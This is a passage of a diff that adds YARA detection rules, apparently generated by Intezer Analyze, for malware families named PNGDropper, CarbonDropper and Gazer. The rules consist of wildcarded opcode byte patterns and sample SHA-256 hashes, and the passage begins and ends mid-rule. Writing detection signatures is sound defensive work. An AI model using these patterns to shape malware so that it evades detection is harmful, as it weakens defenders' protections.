+		$block_2 = { BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 4? C7 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 85 ?? 0F 84 }
+		$block_3 = { BA ?? ?? ?? ?? B8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { FF C? 89 ?? 0F BE ?? ?? E8 ?? ?? ?? ?? 0F BE ?? 31 ?? 69 ?? ?? ?? ?? ?? 85 ?? 75 }
+		$block_6 = { FF C? 69 ?? ?? ?? ?? ?? 89 ?? 0F BE ?? ?? E8 ?? ?? ?? ?? 0F BE ?? 31 ?? 85 ?? 75 }
+		$block_7 = { BA ?? ?? ?? ?? B8 ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 83 ?? ?? ?? 0F 94 ?? ?? 85 ?? 0F 94 ?? 0A ?? ?? 74 }
+		$block_9 = { 5? 5? 5? 4? 81 E? ?? ?? ?? ?? 8B ?? ?? 31 ?? 4? 01 ?? 66 ?? ?? ?? ?? 0F 84 }
+		$block_10 = { BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_11 = { 5? 89 ?? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? 01 ?? 66 ?? ?? ?? ?? 0F 84 }
+		$block_12 = { C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? FF D? 83 ?? ?? 85 ?? 0F 84 }
+		$block_13 = { BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 85 ?? 4? 89 ?? 0F 84 }
+		$block_14 = { 5? 89 ?? 5? 5? 31 ?? 5? 89 ?? 83 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_15 = { 03 ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_16 = { BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_17 = { 4? 8D ?? ?? 4? 0F B7 ?? ?? 4? 8D ?? ?? 4? 8B ?? ?? 4? 01 ?? EB }
+		$block_18 = { 5? 5? 5? 4? 83 ?? ?? 31 ?? 4? 89 ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_19 = { A6 BE ?? ?? ?? ?? 4? B9 ?? ?? ?? ?? 18 ?? A6 85 ?? ?? 18 ?? 7E }
+		$block_20 = { 89 ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_21 = { 4? 8D ?? ?? ?? ?? ?? ?? 4? 89 ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_22 = { BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 85 ?? 0F 84 }
+		$block_23 = { 4? 85 ?? 89 ?? 0F 94 ?? 85 ?? 0F 94 ?? 4? 01 ?? 08 ?? 74 }
+		$block_24 = { BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_25 = { E8 ?? ?? ?? ?? 81 7? ?? ?? ?? ?? ?? 0F 94 ?? 0F B6 ?? EB }
+		$block_26 = { 83 ?? ?? 0F 9F ?? 0F B6 ?? 4? 81 C? ?? ?? ?? ?? 5? 5? C3 }
+		$block_27 = { 4? 85 ?? 4? 0F 94 ?? 4? 85 ?? 0F 94 ?? 4? 08 ?? 74 }
+		$block_28 = { 8D ?? ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_29 = { 85 ?? 0F 94 ?? 85 ?? 0F 94 ?? 08 ?? 8D ?? ?? 74 }
+		$block_30 = { 5? 5? 5? 5? 4? 83 ?? ?? 4? 85 ?? 4? 89 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "895a97bb6340a0ede31b2376fecb605c7d91a3fcc588a31bc4ff3c39d1cd12c9" or
+		hash.sha256(0, filesize) == "d76ce236f12c7f964dd72727e27f9444f62fcf72ce9de356a3bbbf32c23189e2" or
+		hash.sha256(0, filesize) == "8ce2bdb1680ac8eafcb2adce7acb89ea741ac9cd6e6c1b3a551b521e2ab9a1c5" or
+		hash.sha256(0, filesize) == "e74faa35ed394f666e02de1b7f26665eb9a70dd3c355ef9d9e2d26a4d8a96f7e" or
+		hash.sha256(0, filesize) == "0b97c87126578113050d8e014e8fefeb33146eebc40e75c070882ec31ae26aab" or
+		hash.sha256(0, filesize) == "d2505d073b948b309c65b2f613afba06584d22b4b07181c58e0f4a4893d3f9b1" or
+		hash.sha256(0, filesize) == "1a6beed80ce6d2dee4445a5e0eb5a3f13675f461f9d975b6c6ef6cba5e916949" or
+		hash.sha256(0, filesize) == "44748d0ea4c2927a58b3e4c8090fb5b7bdfe41a4f00f8e5de2952a76312c3aa2" or
+		hash.sha256(0, filesize) == "57ec50ea2c1735d535dbf62df964190e21fbc21aca3c4cf34bd455f9ab3dd76d" or
+		hash.sha256(0, filesize) == "7fbe1f25b25da7d1dd187bcaeb1d1b13a48ffef136bba9af3d3c6cd2e6bf3e90" or
+		hash.sha256(0, filesize) == "fae51b0649a3c99e7c3054e584acca4359aae140d621f4a02e4f4e1fe441ea12" or
+		hash.sha256(0, filesize) == "c558b2ee059ef8140788cbaefd648aad7879c34dc3b61d966229dba5afd36122" or
+		hash.sha256(0, filesize) == "ecaa89e4a358c33ac20e9a397a67cecba620d30d77dd7ec27ef92316d9264f3d" or
+		hash.sha256(0, filesize) == "966610c19fb620f90de6d7f35f469662824bad66c3091e0df1de1fd903df04c9" or
+		hash.sha256(0, filesize) == "d48aa85bc434a30463e3b258899efb0d94b30a1609a18ba094153806cdacbf30" or
+		hash.sha256(0, filesize) == "fcd50490bf5498f9204519077f312930a1d689c8a07a1b30a90e0f2969416a1f" or
+		hash.sha256(0, filesize) == "0c02e49d3924b04c6bc42515cc926e59bf319f42f55afcc0b0da14d228bcbd7a" or
+		hash.sha256(0, filesize) == "a5afb65975b5dddeda124b0151a14df5706c42ca50cbc68b34ca4c8b25f1e54e" or
+		hash.sha256(0, filesize) == "4eba5182826becfc842315a0ce85f9e03aada8cc73d1e54ed0b55754ab89d9e0" or
+		12 of them
+}
+
+rule PNGDropper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? ?? 6A ?? 6A ?? 03 ?? 8D ?? ?? 5? 03 ?? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_1 = { 49 ?? ?? 44 ?? ?? BA ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_2 = { FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 01 ?? ?? 0F B7 ?? ?? 83 ?? ?? 83 ?? ?? FF 4? ?? 39 ?? ?? 72 }
+		$block_3 = { 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_4 = { 8B ?? ?? 03 ?? 6A ?? 6A ?? 89 ?? ?? 8D ?? ?? 5? 03 ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_5 = { 8B ?? ?? 2B ?? ?? 2B ?? 99 2B ?? 8B ?? 8B ?? ?? 2B ?? 2B ?? 99 2B ?? D1 ?? 03 ?? ?? D1 ?? 03 }
+		$block_6 = { 5? 8B ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 33 ?? 5? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$block_7 = { 5? 6A ?? 8D ?? ?? 5? 5? FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_8 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 2B ?? 3B ?? 73 }
+		$block_9 = { 8D ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 95 ?? 80 B? ?? ?? ?? ?? ?? 75 }
+		$block_10 = { 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 6A ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_11 = { C6 ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 4? 81 C? ?? ?? ?? ?? 3B ?? 0F 82 }
+		$block_12 = { 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 6A ?? 5? 8D ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 2B ?? 0F 84 }
+		$block_13 = { FF B? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_14 = { 0F B7 ?? ?? 68 ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_15 = { 8D ?? ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_16 = { 6A ?? E8 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_17 = { 5? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 5? 5? 89 ?? ?? FF 1? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_18 = { 8B ?? ?? A5 A5 A5 8D ?? ?? 5? A5 E8 ?? ?? ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 75 }
+		$block_19 = { 5? E8 ?? ?? ?? ?? 8B ?? ?? 33 ?? 5? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_20 = { 5? 33 ?? 33 ?? 0F A2 5? 8D ?? ?? 89 ?? 89 ?? ?? 6A ?? 89 ?? ?? 5? 89 ?? ?? 39 ?? ?? 7D }
+		$block_21 = { 89 ?? ?? 89 ?? ?? 6A ?? 8D ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_22 = { 8B ?? ?? DD ?? 8B ?? ?? DD ?? DD ?? DD ?? DD ?? 8B ?? ?? 89 ?? 8B ?? ?? 89 ?? ?? C9 C3 }
+		$block_23 = { 4C ?? ?? 48 ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 48 ?? ?? ?? 0F 44 ?? 8B }
+		$block_24 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? A1 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_25 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? 33 ?? 3B ?? 0F 84 }
+		$block_26 = { 8B ?? ?? A5 A5 A5 A5 83 ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? C2 }
+		$block_27 = { 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 6A ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_28 = { FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 01 ?? ?? 0F B7 ?? ?? 83 ?? ?? 83 ?? ?? 4? 3B ?? 72 }
+		$block_29 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 2B ?? 3B ?? 73 }
+		$block_30 = { 8B ?? ?? 8B ?? ?? 6A ?? 6A ?? 8D ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_31 = { 5? E8 ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_32 = { 6A ?? 6A ?? 8D ?? ?? 5? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 33 ?? 3B ?? 0F 85 }
+		$block_33 = { 8B ?? ?? 8B ?? ?? 5? 6A ?? 8D ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_34 = { 8B ?? ?? 03 ?? ?? 8B ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_35 = { 5? 6A ?? 8D ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_36 = { 5? 5? 8B ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? 8B ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_37 = { 83 ?? ?? ?? 68 ?? ?? ?? ?? 5? 0F 94 ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_38 = { 5? 8B ?? 8B ?? ?? 8B ?? ?? 03 ?? 0F B7 ?? ?? 8D ?? ?? ?? 0F B7 ?? ?? 4? 74 }
+		$block_39 = { 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_40 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 2B ?? 39 ?? ?? 73 }
+		$block_41 = { 33 ?? 0F A2 8D ?? ?? 89 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 4? }
+		$block_42 = { 5? 5? FF 7? ?? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_43 = { 8B ?? 2B ?? 99 B9 ?? ?? ?? ?? F7 ?? 33 ?? 4? 89 ?? ?? ?? ?? ?? 3B ?? 7D }
+		$block_44 = { 8B ?? ?? 8B ?? ?? 89 ?? F7 ?? 1B ?? 25 ?? ?? ?? ?? 05 ?? ?? ?? ?? C9 C3 }
+		$block_45 = { 8D ?? ?? ?? 0F B7 ?? ?? 8B ?? 25 ?? ?? ?? ?? 03 ?? C1 ?? ?? 83 ?? ?? 74 }
+		$block_46 = { 5? 6A ?? 8D ?? ?? 5? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_47 = { 0F B7 ?? ?? ?? ?? ?? ?? 48 ?? ?? 66 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? E9 }
+		$block_48 = { 0F B7 ?? ?? ?? ?? ?? ?? 48 ?? ?? 66 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? EB }
+		$block_49 = { 8B ?? ?? 03 ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_50 = { 5? 8B ?? 8B ?? ?? 8B ?? 5? 8B ?? ?? 2B ?? 5? 99 2B ?? 8B ?? D1 ?? 79 }
+		$block_51 = { 8B ?? ?? 8B ?? A5 A5 A5 A5 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_52 = { 6A ?? 6A ?? 8D ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 33 ?? 3B ?? 0F 85 }
+		$block_53 = { FF 8? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 3B ?? ?? ?? ?? ?? 0F 8C }
+		$block_54 = { 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? EB }
+		$block_55 = { 0F B7 ?? ?? 33 ?? 8D ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 73 }
+		$block_56 = { 2B ?? 8B ?? ?? ?? 33 ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_57 = { 5? 8B ?? 5? 5? 8B ?? ?? 5? 33 ?? 89 ?? 8B ?? ?? 5? 5? 3B ?? 0F 84 }
+		$block_58 = { 68 ?? ?? ?? ?? FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_59 = { 5? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? A5 A5 A5 A5 EB }
+		$block_60 = { 6A ?? 5? 03 ?? 0F B6 ?? 0F B6 ?? ?? C1 ?? ?? 8D ?? ?? ?? 3B ?? 7F }
+		$block_61 = { E8 ?? ?? ?? ?? 33 ?? 89 ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 8E }
+		$block_62 = { 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? 8B ?? C1 ?? ?? 03 ?? 3B ?? 0F 9F }
+		$block_63 = { 8D ?? ?? ?? ?? ?? ?? 9? 8B ?? ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_64 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 95 ?? 88 ?? ?? EB }
+		$block_65 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_66 = { 5? 6A ?? 8D ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_67 = { 5? 5? 8B ?? ?? 8B ?? 33 ?? C7 ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_68 = { C6 ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 39 ?? ?? 0F 8F }
+		$block_69 = { 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 80 7? ?? ?? 0F 85 }
+		$block_70 = { 8B ?? ?? 8B ?? ?? 2B ?? 2B ?? ?? 0F AF ?? 8B ?? ?? 3B ?? 7E }
+		$block_71 = { BF ?? ?? ?? ?? 89 ?? ?? 45 ?? ?? 41 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_72 = { 0F BE ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 75 }
+		$block_73 = { 8B ?? ?? ?? ?? ?? 0F B7 ?? 8B ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_74 = { 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_75 = { 0F B7 ?? ?? 03 ?? 8B ?? ?? 4? 83 ?? ?? 89 ?? ?? 3B ?? 72 }
+		$block_76 = { 8D ?? ?? 5? 03 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_77 = { 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 80 B? ?? ?? ?? ?? ?? 0F 84 }
+		$block_78 = { 83 ?? ?? D1 ?? 0F B7 ?? 33 ?? 89 ?? ?? 89 ?? ?? 85 ?? 74 }
+		$block_79 = { 38 ?? ?? ?? ?? ?? 0F 94 ?? 89 ?? ?? 5? 3A ?? 8B ?? 0F 84 }
+		$block_80 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_81 = { 5? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 8C }
+		$block_82 = { C6 ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 8E }
+		$block_83 = { FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 5? 3B ?? 0F 84 }
+		$block_84 = { 83 ?? ?? 6A ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 8E }
+		$block_85 = { 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 38 ?? ?? ?? ?? ?? 0F 84 }
+		$block_86 = { 8B ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_87 = { 0F BE ?? E8 ?? ?? ?? ?? 88 ?? ?? 48 ?? ?? 48 ?? ?? 75 }
+		$block_88 = { 2B ?? ?? 0F B7 ?? 89 ?? ?? 0F B7 ?? 3B ?? ?? 0F 87 }
+		$block_89 = { E8 ?? ?? ?? ?? 33 ?? 8B ?? 39 ?? ?? ?? ?? ?? 0F 8E }
+		$block_90 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_91 = { 2B ?? ?? 0F B7 ?? 89 ?? ?? 0F B7 ?? 3B ?? ?? 0F 83 }
+		$block_92 = { 0F B7 ?? ?? ?? ?? ?? ?? 8B ?? 48 ?? ?? 49 ?? ?? 72 }
+		$block_93 = { 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 83 ?? ?? 0F 84 }
+		$block_94 = { 83 ?? ?? D1 ?? 0F B7 ?? 33 ?? 89 ?? ?? 85 ?? 74 }
+		$block_95 = { 5? C6 ?? ?? ?? ?? ?? ?? FF D? 85 ?? 0F 94 ?? 88 }
+		$block_96 = { 03 ?? 6A ?? 99 5? F7 ?? 39 ?? ?? ?? ?? ?? 0F 9F }
+		$block_97 = { 66 ?? ?? 0F 95 ?? ?? 33 ?? 66 ?? ?? 66 ?? ?? 74 }
+		$block_98 = { 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_99 = { 0F B7 ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "b52285393bd75897662c662bcfef0d3e3a0b185fd297c325ffe283abafa93f65" or
+		hash.sha256(0, filesize) == "1950d2e706fbc6263d376c0c4f16bd5acfd543248ee072657ba3dd62da8427eb" or
+		hash.sha256(0, filesize) == "eeb7784b77d86627bac32e4db20da382cb4643ff8eb86ab1abaebaa56a650158" or
+		hash.sha256(0, filesize) == "ff22dbefce16adfc684fb79f4b8cd441a7f08fa34ba1d9b28724e7b32dbd62b4" or
+		hash.sha256(0, filesize) == "3a5918c69b6ee801ab8bfc4fc872ac32cc96a47b53c3525723cc27f150e0bfa3" or
+		hash.sha256(0, filesize) == "10bca4fbbd39a86211d8b18622de1760992e81d4a45c1b45c8062faf30bbb7f8" or
+		hash.sha256(0, filesize) == "69389f0d35d003ec3c9506243fd264afefe099d99fcc0e7d977007a12290a290" or
+		hash.sha256(0, filesize) == "6ed939f59476fd31dc4d99e96136e928fbd88aec0d9c59846092c0e93a3c0e27" or
+		hash.sha256(0, filesize) == "80cf8753ef6e1efd55f5f7afb20571472030e589ceb9423f91384dae51dfca36" or
+		12 of them
+}
+
+rule CarbonDropper_v3_77_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_2 = { 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_3 = { 0F B7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? 75 }
+		$block_4 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? 75 }
+		$block_5 = { 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_6 = { 0F B7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? 75 }
+		$block_7 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 0F B7 ?? ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? 75 }
+		$block_9 = { 48 ?? ?? ?? 33 ?? 48 ?? ?? 66 ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_10 = { 0F B7 ?? ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? 75 }
+		$block_11 = { 0F B7 ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? ?? 66 ?? ?? 75 }
+		$block_12 = { 0F B7 ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "aaa2afe68852cb76bccf7dbb0b541a5d62b7f0b15e47f0a24e63f68f50af167c" or
+		12 of them
+}
+
+rule GazerCommunicationModule_x64_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 48 ?? ?? ?? 41 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 44 ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 4C ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? 45 ?? ?? ?? 41 ?? ?? 49 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
